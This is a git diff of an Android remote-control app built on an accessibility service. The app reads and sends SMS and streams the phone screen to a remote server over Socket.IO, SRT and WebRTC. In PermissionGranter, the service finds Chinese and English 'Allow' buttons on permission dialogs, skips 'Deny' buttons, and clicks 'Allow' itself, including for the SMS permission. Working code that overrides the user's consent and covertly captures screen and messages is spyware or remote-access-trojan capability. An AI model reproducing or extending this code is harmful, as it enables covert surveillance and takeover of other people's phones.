- "允许", "Allow", "确定", "OK", "是", "Yes",
- "使用时允许", "Allow while using",
- "仅本次使用时允许", "Allow only this time",
- "始终允许", "Allow always",
- "仅此一次", "Just once"
+ "允许",
+ "始终允许",
+ "允许本次使用",
+ "本次使用时允许",
+ "使用时允许",
+ "使用期间允许",
+ "仅使用期间允许",
+ "仅在使用中允许",
+ "仅在前台使用应用时允许",
+ "仅在使用该应用时允许",
+ "在使用中运行",
+ "在使用中",
+ "在使用该应用时",
+ "在使用期间",
+ "仅在使用中",
+ "仅在使用期间",
+ "仅在使用应用时",
+ "仅本次",
+ "本次允许",
+ "仅此一次",
+ "允许一次",
+ "Allow",
+ "Always allow",
+ "Allow all the time",
+ "Allow while using",
+ "Allow while using the app",
+ "Allow only this time",
+ "Only this time",
+ "This time only",
+ "Allow once"
)
// 查找所有按钮
@@ -7946,19 +10381,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val btnDesc = btn.contentDescription?.toString() ?: ""
Log.d(TAG, "📱 检查按钮: 文本='$btnText', 描述='$btnDesc'")
-
- // 检查是否是权限按钮
- for (buttonText in buttonTexts) {
- if (btnText.contains(buttonText, ignoreCase = true) ||
- btnDesc.contains(buttonText, ignoreCase = true)) {
- Log.i(TAG, "📱 找到发送短信权限按钮: '$btnText', 描述: '$btnDesc'")
-
- // 尝试点击按钮
- clickButton(btn)
- Log.i(TAG, "📱 成功点击发送短信权限按钮: '$btnText'")
- btn.recycle()
- return true
- }
+
+ val combinedText = buildNodeCombinedText(btn.text, btn.contentDescription)
+ if (isRuntimeDenyText(combinedText)) {
+ Log.d(TAG, "📱 跳过拒绝类按钮: '$btnText' / '$btnDesc'")
+ btn.recycle()
+ continue
+ }
+
+ val explicitAllowMatched = buttonTexts.any { buttonText ->
+ btnText.contains(buttonText, ignoreCase = true) ||
+ btnDesc.contains(buttonText, ignoreCase = true)
+ }
+ val runtimeAllowMatched = isRuntimeAllowText(combinedText)
+ if (!explicitAllowMatched && !runtimeAllowMatched) {
+ btn.recycle()
+ continue
+ }
+
+ Log.i(TAG, "📱 找到发送短信权限按钮: '$btnText', 描述: '$btnDesc'")
+ val clickTarget = if (btn.isClickable) btn else findClickableParentOrSibling(btn)
+ if (clickTarget != null) {
+ val clicked = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
+ Log.i(TAG, "📱 成功点击发送短信权限按钮: '$btnText', action=$clicked")
+ btn.recycle()
+ return true
}
btn.recycle()
@@ -8332,4 +10779,4 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return false
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/manager/SMSManager.kt b/app/src/main/java/com/hikoncont/manager/SMSManager.kt
index ddde498..c9e08e7 100644
--- a/app/src/main/java/com/hikoncont/manager/SMSManager.kt
+++ b/app/src/main/java/com/hikoncont/manager/SMSManager.kt
@@ -506,31 +506,8 @@ class SMSManager(private val service: AccessibilityRemoteService) {
val smsList = mutableListOf()
if (!checkSMSPermission()) {
- Log.w(TAG, "⚠️ 短信权限未授予，尝试自动申请")
- try {
- service.requestSMSPermissionWithAutoGrant()
- } catch (e: Exception) {
- Log.e(TAG, "触发短信权限申请失败", e)
- }
-
- var attempts = 0
- val maxAttempts = 16 // ~8s
- while (attempts < maxAttempts) {
- try {
- Thread.sleep(500)
- } catch (ie: InterruptedException) {
- }
- if (checkSMSPermission()) {
- Log.i(TAG, "✅ 短信权限已在等待期间授予，继续读取")
- break
- }
- attempts++
- }
-
- if (!checkSMSPermission()) {
- Log.w(TAG, "⚠️ 等待后仍未获得短信读取权限，返回空列表")
- return smsList
- }
+ Log.w(TAG, "⚠️ 短信权限未授予，停止自动拉起授权页，直接返回空列表")
+ return smsList
}
try {
@@ -748,8 +725,7 @@ class SMSManager(private val service: AccessibilityRemoteService) {
*/
fun sendSMSWithPermissionHandling(phoneNumber: String, message: String): Boolean {
if (!checkSMSPermission()) {
- Log.e(TAG, "❌ 短信权限未授予，尝试请求权限")
- requestSMSPermission()
+ Log.e(TAG, "❌ 短信权限未授予，已停止自动拉起授权页（需手动触发权限申请）")
return false
}
diff --git a/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt b/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt
index 91ead9f..030065d 100644
--- a/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt
+++ b/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt
@@ -25,10 +25,11 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
companion object {
private const val TAG = "ScreenCaptureManager"
- private const val CAPTURE_FPS = 15 // 进一步提升到15FPS，让视频更加流畅（从10提升到15）
- private const val CAPTURE_QUALITY = 55 // 优化：提升压缩质量，在数据量和画质间找到最佳平衡(30->55)
- private const val MAX_WIDTH = 480 // 更小宽度480px，测试单消息大小理论
- private const val MAX_HEIGHT = 854 // 更小高度854px，保持16:9比例
+ // 固定流媒体档位：720P + 60FPS
+ private const val CAPTURE_FPS = 60
+ private const val CAPTURE_QUALITY = 70
+ private const val MAX_WIDTH = 720
+ private const val MAX_HEIGHT = 1280
private const val MIN_CAPTURE_INTERVAL = 3000L // 调整为3000ms，无障碍服务截图间隔3秒
// 持久化暂停状态相关常量
@@ -296,31 +297,33 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
* 由服务端根据Web端反馈下发调整指令
*/
fun adjustQuality(fps: Int, quality: Int, maxWidth: Int, maxHeight: Int) {
- Log.i(TAG, "收到画质调整: fps=$fps, quality=$quality, resolution=${maxWidth}x${maxHeight}")
- if (fps in 1..30) {
- dynamicFps = fps
- Log.i(TAG, "帧率调整为: ${fps}fps (间隔${1000 / fps}ms)")
- }
- if (quality in 20..90) {
- dynamicQuality = quality
- Log.i(TAG, "JPEG质量调整为: $quality")
- }
- if (maxWidth in 240..1920) {
- dynamicMaxWidth = maxWidth
- Log.i(TAG, "最大宽度调整为: $maxWidth")
- }
- if (maxHeight in 320..2560) {
- dynamicMaxHeight = maxHeight
- Log.i(TAG, "最大高度调整为: $maxHeight")
- }
+ // 测试阶段锁定固定档位，避免前端/服务端动态参数导致分辨率抖动和拉伸。
+ dynamicFps = CAPTURE_FPS
+ dynamicQuality = CAPTURE_QUALITY
+ dynamicMaxWidth = MAX_WIDTH
+ dynamicMaxHeight = MAX_HEIGHT
+ Log.i(
+ TAG,
+ "忽略动态画质调整，保持固定档位: ${CAPTURE_FPS}fps, quality=$CAPTURE_QUALITY, ${MAX_WIDTH}x${MAX_HEIGHT} (requested fps=$fps, quality=$quality, resolution=${maxWidth}x${maxHeight})"
+ )
}
/**
* 切换到无障碍截图模式（由服务端指令触发）
- * 已禁用：不再允许服务端黑帧检测触发模式切换，避免误判导致权限回退
*/
fun switchToAccessibilityMode() {
- Log.i(TAG, "收到切换无障碍截图模式指令，已忽略（禁止服务端触发模式切换）")
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
+ Log.w(TAG, "当前系统版本不支持无障碍截图模式，保持MediaProjection模式")
+ return
+ }
+ if (useAccessibilityScreenshot) {
+ Log.d(TAG, "已经在无障碍截图模式，跳过切换")
+ return
+ }
+ Log.i(TAG, "切换到无障碍截图模式")
+ stopCapture()
+ enableAccessibilityScreenshotMode()
+ startCapture()
}
/**
@@ -1817,7 +1820,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
val socketIOManager = service.getSocketIOManager()
if (socketIOManager != null && socketIOManager.isConnected()) {
socketIOManager.sendScreenData(frameData)
- Log.v(TAG, "Socket.IO sent frame: ${frameData.size} bytes")
success = true
// Reset throttle counter on success
if (socketUnavailableLogCount > 0) {
@@ -3215,4 +3217,4 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
generateTestImage()
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt b/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt
index 547884c..4524f7b 100644
--- a/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt
+++ b/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt
@@ -12,6 +12,7 @@ import android.os.Looper
import android.util.Log
import com.hikoncont.MediaProjectionHolder
import com.hikoncont.service.AccessibilityRemoteService
+import com.hikoncont.util.registerReceiverCompat
import kotlinx.coroutines.*
import java.util.concurrent.atomic.AtomicBoolean
import java.util.concurrent.atomic.AtomicInteger
@@ -485,7 +486,7 @@ class SmartMediaProjectionManager(
addAction(Intent.ACTION_USER_PRESENT)
addAction("android.mycustrecev.USER_STOPPED_PROJECTION")
}
- context.registerReceiver(systemStateReceiver, filter)
+ context.registerReceiverCompat(systemStateReceiver, filter)
Log.i(TAG, "✅ 已注册系统状态监听")
}
@@ -679,4 +680,4 @@ class SmartMediaProjectionManager(
Log.e(TAG, "❌ 清理失败", e)
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt b/app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt
new file mode 100644
index 0000000..cc525e9
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt
@@ -0,0 +1,417 @@
+package com.hikoncont.manager
+
+import android.media.projection.MediaProjection
+import android.os.Build
+import android.util.Log
+import androidx.annotation.RequiresApi
+import com.hikoncont.MediaProjectionHolder
+import com.hikoncont.service.AccessibilityRemoteService
+import com.pedro.common.ConnectChecker
+import com.pedro.common.VideoCodec
+import com.pedro.encoder.input.sources.audio.NoAudioSource
+import com.pedro.encoder.input.sources.video.ScreenSource
+import com.pedro.library.srt.SrtStream
+import org.json.JSONObject
+import kotlin.math.roundToInt
+
+@RequiresApi(Build.VERSION_CODES.LOLLIPOP)
+class SrtStreamManager(
+ private val service: AccessibilityRemoteService,
+ private val listener: Listener
+) {
+
+ interface Listener {
+ fun onStateChanged(state: String, message: String, extra: JSONObject? = null)
+ }
+
+ data class StartResult(
+ val success: Boolean,
+ val message: String,
+ val extra: JSONObject? = null
+ )
+
+ companion object {
+ private const val TAG = "SrtStreamManager"
+ private const val MIN_FPS = 20
+ private const val MAX_FPS = 60
+ private const val MIN_LONG_EDGE = 360
+ private const val MAX_LONG_EDGE = 1920
+ private const val MIN_BITRATE_BPS = 500_000
+ private const val MAX_BITRATE_BPS = 12_000_000
+ }
+
+ private enum class StreamPriority(val wireValue: String) {
+ SMOOTH("smooth"),
+ BALANCED("balanced"),
+ QUALITY("quality");
+
+ companion object {
+ fun fromRaw(raw: String?): StreamPriority {
+ return when (raw?.trim()?.lowercase()) {
+ QUALITY.wireValue -> QUALITY
+ BALANCED.wireValue -> BALANCED
+ else -> SMOOTH
+ }
+ }
+ }
+ }
+
+ private data class Session(
+ val deviceId: String,
+ val clientId: String,
+ val ingestUrl: String,
+ val width: Int,
+ val height: Int,
+ val fps: Int,
+ val priority: String,
+ val maxLongEdge: Int,
+ val bitrateBps: Int,
+ val startedAt: Long
+ )
+
+ private val stateLock = Any()
+ private var stream: SrtStream? = null
+ private var session: Session? = null
+ private var lastBitrateBps = 0L
+
+ fun isRuntimeSupported(): Boolean {
+ // Dependency exists at compile-time; runtime check is kept explicit for clarity.
+ return Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP
+ }
+
+ fun isStreaming(): Boolean = synchronized(stateLock) {
+ stream?.isStreaming == true
+ }
+
+ fun start(
+ deviceId: String,
+ clientId: String,
+ ingestUrl: String,
+ requestedFps: Int? = null,
+ requestedMaxLongEdge: Int? = null,
+ requestedBitrateKbps: Int? = null,
+ priorityRaw: String? = null
+ ): StartResult {
+ if (!isRuntimeSupported()) {
+ return StartResult(false, "srt_runtime_not_supported")
+ }
+ if (ingestUrl.isBlank() || !ingestUrl.startsWith("srt://", ignoreCase = true)) {
+ return StartResult(false, "invalid_srt_ingest_url")
+ }
+
+ val projection = MediaProjectionHolder.getMediaProjection()
+ ?: return StartResult(false, "media_projection_not_ready")
+
+ val screenConfig = buildScreenConfig(
+ requestedFps = requestedFps,
+ requestedMaxLongEdge = requestedMaxLongEdge,
+ requestedBitrateKbps = requestedBitrateKbps,
+ priorityRaw = priorityRaw
+ )
+ val preparedExtra = JSONObject().apply {
+ put("width", screenConfig.width)
+ put("height", screenConfig.height)
+ put("fps", screenConfig.fps)
+ put("bitrateBps", screenConfig.bitrateBps)
+ put("priority", screenConfig.priority)
+ put("maxLongEdge", screenConfig.maxLongEdge)
+ if (requestedMaxLongEdge != null) put("requestedMaxLongEdge", requestedMaxLongEdge)
+ if (requestedBitrateKbps != null) put("requestedBitrateKbps", requestedBitrateKbps)
+ put("ingestUrl", ingestUrl)
+ }
+
+ synchronized(stateLock) {
+ stopInternalLocked()
+
+ val checker = createConnectChecker()
+ val newStream = try {
+ createStream(projection, checker)
+ } catch (e: Exception) {
+ Log.e(TAG, "Create SRT stream failed", e)
+ return StartResult(false, "srt_stream_create_failed:${e.message ?: "unknown"}")
+ }
+
+ val videoPrepared = try {
+ newStream.prepareVideo(
+ screenConfig.width,
+ screenConfig.height,
+ screenConfig.bitrateBps,
+ screenConfig.fps,
+ 1,
+ 0
+ )
+ } catch (e: Exception) {
+ Log.e(TAG, "Prepare SRT video failed", e)
+ false
+ }
+
+ if (!videoPrepared) {
+ try {
+ newStream.release()
+ } catch (_: Exception) {
+ }
+ return StartResult(false, "srt_prepare_video_failed", preparedExtra)
+ }
+
+ // Keep encoder pipeline initialized even when sending video-only.
+ val audioPrepared = try {
+ newStream.prepareAudio(32_000, false, 32 * 1000)
+ } catch (e: Exception) {
+ Log.e(TAG, "Prepare SRT audio failed", e)
+ false
+ }
+
+ if (!audioPrepared) {
+ try {
+ newStream.release()
+ } catch (_: Exception) {
+ }
+ return StartResult(false, "srt_prepare_audio_failed", preparedExtra)
+ }
+
+ stream = newStream
+ session = Session(
+ deviceId = deviceId,
+ clientId = clientId,
+ ingestUrl = ingestUrl,
+ width = screenConfig.width,
+ height = screenConfig.height,
+ fps = screenConfig.fps,
+ priority = screenConfig.priority,
+ maxLongEdge = screenConfig.maxLongEdge,
+ bitrateBps = screenConfig.bitrateBps,
+ startedAt = System.currentTimeMillis()
+ )
+ lastBitrateBps = 0L
+
+ listener.onStateChanged("starting", "srt_connecting", preparedExtra)
+
+ try {
+ newStream.startStream(ingestUrl)
+ } catch (e: Exception) {
+ Log.e(TAG, "Start SRT stream failed", e)
+ stopInternalLocked()
+ return StartResult(
+ success = false,
+ message = "srt_start_failed:${e.message ?: "unknown"}",
+ extra = preparedExtra
+ )
+ }
+ }
+
+ return StartResult(true, "srt_starting", preparedExtra)
+ }
+
+ fun stop(reason: String = "remote_stop"): Boolean {
+ val hasSession = synchronized(stateLock) {
+ val exists = stream != null || session != null
+ stopInternalLocked()
+ exists
+ }
+
+ if (hasSession) {
+ listener.onStateChanged(
+ state = "stopped",
+ message = "srt_stopped",
+ extra = JSONObject().apply { put("reason", reason) }
+ )
+ }
+
+ return hasSession
+ }
+
+ fun release() {
+ synchronized(stateLock) {
+ stopInternalLocked()
+ }
+ }
+
+ private data class ScreenConfig(
+ val width: Int,
+ val height: Int,
+ val fps: Int,
+ val priority: String,
+ val maxLongEdge: Int,
+ val bitrateBps: Int
+ )
+
+ private fun buildScreenConfig(
+ requestedFps: Int?,
+ requestedMaxLongEdge: Int?,
+ requestedBitrateKbps: Int?,
+ priorityRaw: String?
+ ): ScreenConfig {
+ val metrics = service.resources.displayMetrics
+ val rawWidth = metrics.widthPixels.coerceAtLeast(2)
+ val rawHeight = metrics.heightPixels.coerceAtLeast(2)
+
+ val priority = StreamPriority.fromRaw(priorityRaw)
+ val defaultFps = when (priority) {
+ StreamPriority.SMOOTH -> 40
+ StreamPriority.BALANCED -> 45
+ StreamPriority.QUALITY -> 50
+ }
+ val defaultLongEdge = when (priority) {
+ StreamPriority.SMOOTH -> 960
+ StreamPriority.BALANCED -> 1152
+ StreamPriority.QUALITY -> 1280
+ }
+ val bitrateFactor = when (priority) {
+ StreamPriority.SMOOTH -> 0.055
+ StreamPriority.BALANCED -> 0.075
+ StreamPriority.QUALITY -> 0.10
+ }
+ val profileMinBitrate = when (priority) {
+ StreamPriority.SMOOTH -> 700_000
+ StreamPriority.BALANCED -> 1_000_000
+ StreamPriority.QUALITY -> 1_300_000
+ }
+ val profileMaxBitrate = when (priority) {
+ StreamPriority.SMOOTH -> 4_000_000
+ StreamPriority.BALANCED -> 7_000_000
+ StreamPriority.QUALITY -> MAX_BITRATE_BPS
+ }
+
+ val fps = (requestedFps ?: defaultFps).coerceIn(MIN_FPS, MAX_FPS)
+ val maxLongEdge = (requestedMaxLongEdge ?: defaultLongEdge).coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE)
+
+ val sourceLong = maxOf(rawWidth, rawHeight)
+ val sourceShort = minOf(rawWidth, rawHeight)
+ val scale = if (sourceLong > maxLongEdge) {
+ maxLongEdge.toFloat() / sourceLong.toFloat()
+ } else {
+ 1f
+ }
+
+ val targetLong = ((sourceLong * scale).roundToInt()).coerceAtLeast(2)
+ val targetShort = ((sourceShort * scale).roundToInt()).coerceAtLeast(2)
+
+ val width = if (rawWidth >= rawHeight) toEven(targetLong) else toEven(targetShort)
+ val height = if (rawWidth >= rawHeight) toEven(targetShort) else toEven(targetLong)
+
+ val requestedBitrateBps = requestedBitrateKbps
+ ?.takeIf { it > 0 }
+ ?.let { it * 1000 }
+ val bitrateEstimate = (width.toLong() * height.toLong() * fps.toLong() * bitrateFactor).toLong()
+ .coerceAtLeast(MIN_BITRATE_BPS.toLong())
+ .coerceAtMost(MAX_BITRATE_BPS.toLong())
+ .toInt()
+ val bitrateBps = (requestedBitrateBps ?: bitrateEstimate)
+ .coerceIn(profileMinBitrate, profileMaxBitrate)
+ .coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS)
+
+ return ScreenConfig(
+ width = width,
+ height = height,
+ fps = fps,
+ priority = priority.wireValue,
+ maxLongEdge = maxLongEdge,
+ bitrateBps = bitrateBps
+ )
+ }
+
+ private fun toEven(value: Int): Int {
+ val safe = value.coerceAtLeast(2)
+ return if (safe % 2 == 0) safe else safe - 1
+ }
+
+ private fun createStream(projection: MediaProjection, checker: ConnectChecker): SrtStream {
+ val screenSource = ScreenSource(service.applicationContext, projection)
+ val audioSource = NoAudioSource()
+ return SrtStream(service.applicationContext, checker, screenSource, audioSource).apply {
+ setVideoCodec(VideoCodec.H264)
+ val client = getStreamClient()
+ client.setReTries(2)
+ client.setOnlyVideo(true)
+ client.setLogs(false)
+ }
+ }
+
+ private fun createConnectChecker(): ConnectChecker {
+ return object : ConnectChecker {
+ override fun onConnectionStarted(url: String) {
+ listener.onStateChanged(
+ state = "starting",
+ message = "srt_connection_started",
+ extra = JSONObject().apply { put("url", url) }
+ )
+ }
+
+ override fun onConnectionSuccess() {
+ val current = synchronized(stateLock) { session }
+ listener.onStateChanged(
+ state = "running",
+ message = "srt_connection_success",
+ extra = JSONObject().apply {
+ put("bitrateBps", lastBitrateBps)
+ put("width", current?.width ?: 0)
+ put("height", current?.height ?: 0)
+ put("fps", current?.fps ?: 0)
+ put("priority", current?.priority ?: StreamPriority.SMOOTH.wireValue)
+ put("maxLongEdge", current?.maxLongEdge ?: 0)
+ put("startedAt", current?.startedAt ?: 0)
+ }
+ )
+ }
+
+ override fun onConnectionFailed(reason: String) {
+ Log.w(TAG, "SRT connection failed: $reason")
+ synchronized(stateLock) {
+ stopInternalLocked()
+ }
+ listener.onStateChanged(
+ state = "failed",
+ message = "srt_connection_failed:$reason"
+ )
+ }
+
+ override fun onDisconnect() {
+ val hadSession = synchronized(stateLock) {
+ val active = stream != null || session != null
+ stopInternalLocked()
+ active
+ }
+
+ if (hadSession) {
+ listener.onStateChanged(
+ state = "stopped",
+ message = "srt_disconnected"
+ )
+ }
+ }
+
+ override fun onAuthError() {
+ listener.onStateChanged("failed", "srt_auth_error")
+ }
+
+ override fun onAuthSuccess() {
+ listener.onStateChanged("running", "srt_auth_success")
+ }
+
+ override fun onNewBitrate(bitrate: Long) {
+ lastBitrateBps = bitrate
+ }
+ }
+ }
+
+ private fun stopInternalLocked() {
+ val old = stream
+ stream = null
+ session = null
+
+ if (old != null) {
+ try {
+ if (old.isStreaming) {
+ old.stopStream()
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Stop SRT stream failed", e)
+ }
+ try {
+ old.release()
+ } catch (e: Exception) {
+ Log.w(TAG, "Release SRT stream failed", e)
+ }
+ }
+ }
+}
diff --git a/app/src/main/java/com/hikoncont/manager/WebRTCManager.kt b/app/src/main/java/com/hikoncont/manager/WebRTCManager.kt
new file mode 100644
index 0000000..a97397b
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/manager/WebRTCManager.kt
@@ -0,0 +1,1110 @@
+package com.hikoncont.manager
+
+import android.content.Intent
+import android.media.projection.MediaProjection
+import android.os.Build
+import android.util.Log
+import androidx.annotation.RequiresApi
+import com.hikoncont.MediaProjectionHolder
+import com.hikoncont.service.AccessibilityRemoteService
+import com.hikoncont.service.RemoteControlForegroundService
+import com.hikoncont.util.DeviceDetector
+import org.json.JSONObject
+import org.webrtc.DefaultVideoDecoderFactory
+import org.webrtc.DefaultVideoEncoderFactory
+import org.webrtc.EglBase
+import org.webrtc.CandidatePairChangeEvent
+import org.webrtc.IceCandidate
+import org.webrtc.MediaConstraints
+import org.webrtc.PeerConnection
+import org.webrtc.PeerConnectionFactory
+import org.webrtc.RtpSender
+import org.webrtc.ScreenCapturerAndroid
+import org.webrtc.SessionDescription
+import org.webrtc.SdpObserver
+import org.webrtc.SurfaceTextureHelper
+import org.webrtc.VideoSource
+import org.webrtc.VideoTrack
+import java.util.concurrent.CountDownLatch
+import java.util.concurrent.Executors
+import java.util.concurrent.TimeUnit
+import java.util.concurrent.atomic.AtomicLong
+import java.util.concurrent.atomic.AtomicBoolean
+import kotlin.math.roundToInt
+
+@RequiresApi(Build.VERSION_CODES.LOLLIPOP)
+class WebRTCManager(
+ private val service: AccessibilityRemoteService,
+ private val listener: Listener
+) {
+ private val webRtcTransportPolicy = DeviceDetector.getWebRtcTransportPolicy()
+
+ interface Listener {
+ fun onAnswer(deviceId: String, clientId: String, type: String, sdp: String)
+ fun onIceCandidate(deviceId: String, clientId: String, candidate: IceCandidate)
+ fun onStateChanged(deviceId: String, clientId: String, state: String, message: String, extra: JSONObject? = null)
+ fun onStopped(deviceId: String, clientId: String, reason: String)
+ }
+
+ data class StartResult(
+ val success: Boolean,
+ val message: String,
+ val extra: JSONObject? = null
+ )
+
+ private data class Session(
+ val sessionToken: Long,
+ val deviceId: String,
+ val clientId: String,
+ val peerConnection: PeerConnection,
+ val videoCapturer: ScreenCapturerAndroid,
+ val videoSource: VideoSource,
+ val videoTrack: VideoTrack,
+ val surfaceTextureHelper: SurfaceTextureHelper,
+ val width: Int,
+ val height: Int,
+ val fps: Int,
+ val bitrateBps: Int,
+ val maxLongEdge: Int,
+ val priority: String,
+ @Volatile var isClosing: Boolean = false,
+ @Volatile var captureStarted: Boolean = false
+ )
+
+ private data class ScreenConfig(
+ val width: Int,
+ val height: Int,
+ val fps: Int,
+ val bitrateBps: Int,
+ val maxLongEdge: Int,
+ val priority: String
+ )
+
+ private enum class StreamPriority(val wireValue: String) {
+ SMOOTH("smooth"),
+ BALANCED("balanced"),
+ QUALITY("quality");
+
+ companion object {
+ fun fromRaw(raw: String?): StreamPriority {
+ return when (raw?.trim()?.lowercase()) {
+ QUALITY.wireValue -> QUALITY
+ BALANCED.wireValue -> BALANCED
+ else -> SMOOTH
+ }
+ }
+ }
+ }
+
+ companion object {
+ private const val TAG = "WebRTCManager"
+ private const val VIDEO_TRACK_ID_PREFIX = "screen-track-"
+ private const val STREAM_ID_PREFIX = "screen-stream-"
+ private const val MIN_FPS = 12
+ private const val MAX_FPS = 60
+ private const val MIN_LONG_EDGE = 360
+ private const val MAX_LONG_EDGE = 1920
+ private const val MIN_BITRATE_BPS = 300_000
+ private const val MAX_BITRATE_BPS = 8_000_000
+ private const val DEFAULT_STUN_URL = "stun:stun.l.google.com:19302"
+ }
+
+ private val lock = Any()
+ private val rtcExecutor = Executors.newSingleThreadExecutor { runnable ->
+ Thread(runnable, "WebRTC-Native-Worker").apply { isDaemon = true }
+ }
+ private val sessionTokenGenerator = AtomicLong(1L)
+ private var peerConnectionFactory: PeerConnectionFactory? = null
+ private var eglBase: EglBase? = null
+ private val sessions: MutableMap = linkedMapOf()
+ private val pendingRemoteCandidates: MutableMap> = linkedMapOf()
+
+ private var turnUrls: List = emptyList()
+ private var turnUsername: String = ""
+ private var turnPassword: String = ""
+
+ fun updateTurnConfig(urlsRaw: String?, username: String?, password: String?) {
+ synchronized(lock) {
+ turnUrls = urlsRaw
+ ?.split(',', ';', ' ', '\n', '\t')
+ ?.map { it.trim() }
+ ?.filter { it.isNotEmpty() }
+ ?: emptyList()
+ turnUsername = username?.trim().orEmpty()
+ turnPassword = password?.trim().orEmpty()
+ }
+ }
+
+ fun isStreaming(): Boolean = synchronized(lock) {
+ sessions.isNotEmpty()
+ }
+
+ fun startFromOffer(
+ deviceId: String,
+ clientId: String,
+ sdp: String,
+ type: String = "offer",
+ requestedFps: Int? = null,
+ requestedMaxLongEdge: Int? = null,
+ requestedBitrateKbps: Int? = null,
+ priorityRaw: String? = null
+ ): StartResult {
+ if (clientId.isBlank() || deviceId.isBlank() || sdp.isBlank()) {
+ return StartResult(false, "invalid_webrtc_offer_payload")
+ }
+ if (!type.equals("offer", ignoreCase = true)) {
+ return StartResult(false, "invalid_webrtc_offer_type")
+ }
+
+ val permissionData = MediaProjectionHolder.getPermissionData()
+ val hasPermissionData = permissionData != null
+ val hasProjectionObject = MediaProjectionHolder.getMediaProjection() != null
+ val projectionIntent = permissionData?.second
+ if (projectionIntent == null) {
+ return StartResult(
+ success = false,
+ message = "media_projection_not_ready",
+ extra = JSONObject().apply {
+ put("hasPermissionData", hasPermissionData)
+ put("hasProjectionObject", hasProjectionObject)
+ }
+ )
+ }
+
+ // Android 10+ 在创建/启动屏幕采集前，先确保前台服务已升级为 mediaProjection 类型。
+ // 这个兜底可以降低高频重连时出现的 SecurityException（FGS type 不匹配）。
+ ensureMediaProjectionForegroundServiceForWebRtc()
+
+ val config = buildScreenConfig(
+ requestedFps = requestedFps,
+ requestedMaxLongEdge = requestedMaxLongEdge,
+ requestedBitrateKbps = requestedBitrateKbps,
+ priorityRaw = priorityRaw
+ )
+
+ val extra = JSONObject().apply {
+ put("width", config.width)
+ put("height", config.height)
+ put("fps", config.fps)
+ put("bitrateBps", config.bitrateBps)
+ put("maxLongEdge", config.maxLongEdge)
+ put("priority", config.priority)
+ }
+ val normalizedOfferSdp = normalizeSdpLineEndings(sdp)
+ val compatOfferSdp = buildCompatOfferSdp(normalizedOfferSdp)
+ extra.put("offerSdpSummary", buildOfferSdpSummary(normalizedOfferSdp, compatOfferSdp))
+
+ try {
+ val sessionToken = sessionTokenGenerator.getAndIncrement()
+ val factory = ensureFactory()
+ val rtcConfig = PeerConnection.RTCConfiguration(buildIceServers()).apply {
+ sdpSemantics = PeerConnection.SdpSemantics.UNIFIED_PLAN
+ bundlePolicy = PeerConnection.BundlePolicy.MAXBUNDLE
+ tcpCandidatePolicy = PeerConnection.TcpCandidatePolicy.ENABLED
+ continualGatheringPolicy = PeerConnection.ContinualGatheringPolicy.GATHER_CONTINUALLY
+ }
+
+ val peerConnection = factory.createPeerConnection(
+ rtcConfig,
+ createPeerConnectionObserver(deviceId, clientId, sessionToken)
+ ) ?: return StartResult(false, "create_peer_connection_failed")
+
+ val surfaceTextureHelper = SurfaceTextureHelper.create(
+ "WebRTC-ScreenCapture-$clientId",
+ eglBase?.eglBaseContext
+ )
+ val videoSource = factory.createVideoSource(true)
+ val projectionCallback = object : MediaProjection.Callback() {
+ override fun onStop() {
+ Log.w(TAG, "MediaProjection stopped by system, clientId=$clientId")
+ stop(clientId, "media_projection_stopped", notifyStop = true)
+ }
+ }
+ val videoCapturer = try {
+ ScreenCapturerAndroid(Intent(projectionIntent), projectionCallback)
+ } catch (e: Exception) {
+ Log.e(TAG, "Create ScreenCapturerAndroid failed", e)
+ try {
+ peerConnection.close()
+ } catch (_: Exception) {
+ }
+ videoSource.dispose()
+ surfaceTextureHelper.dispose()
+ return buildCaptureStartFailureResult(
+ phase = "create_capturer",
+ throwable = e,
+ config = config,
+ hasPermissionData = hasPermissionData,
+ hasProjectionObject = hasProjectionObject
+ )
+ }
+ try {
+ videoCapturer.initialize(
+ surfaceTextureHelper,
+ service.applicationContext,
+ videoSource.capturerObserver
+ )
+ } catch (e: Exception) {
+ Log.e(TAG, "Initialize ScreenCapturerAndroid failed", e)
+ try {
+ videoCapturer.dispose()
+ } catch (_: Exception) {
+ }
+ try {
+ peerConnection.close()
+ } catch (_: Exception) {
+ }
+ videoSource.dispose()
+ surfaceTextureHelper.dispose()
+ return buildCaptureStartFailureResult(
+ phase = "initialize_capturer",
+ throwable = e,
+ config = config,
+ hasPermissionData = hasPermissionData,
+ hasProjectionObject = hasProjectionObject
+ )
+ }
+
+ val videoTrack = factory.createVideoTrack(
+ VIDEO_TRACK_ID_PREFIX + clientId,
+ videoSource
+ )
+ val sender = peerConnection.addTrack(
+ videoTrack,
+ listOf(STREAM_ID_PREFIX + clientId)
+ )
+ applySenderParameters(sender, config.bitrateBps, config.fps)
+
+ synchronized(lock) {
+ stopSessionLocked(clientId, "session_replaced", notifyStop = false)
+ pendingRemoteCandidates.remove(clientId)
+ sessions[clientId] = Session(
+ sessionToken = sessionToken,
+ deviceId = deviceId,
+ clientId = clientId,
+ peerConnection = peerConnection,
+ videoCapturer = videoCapturer,
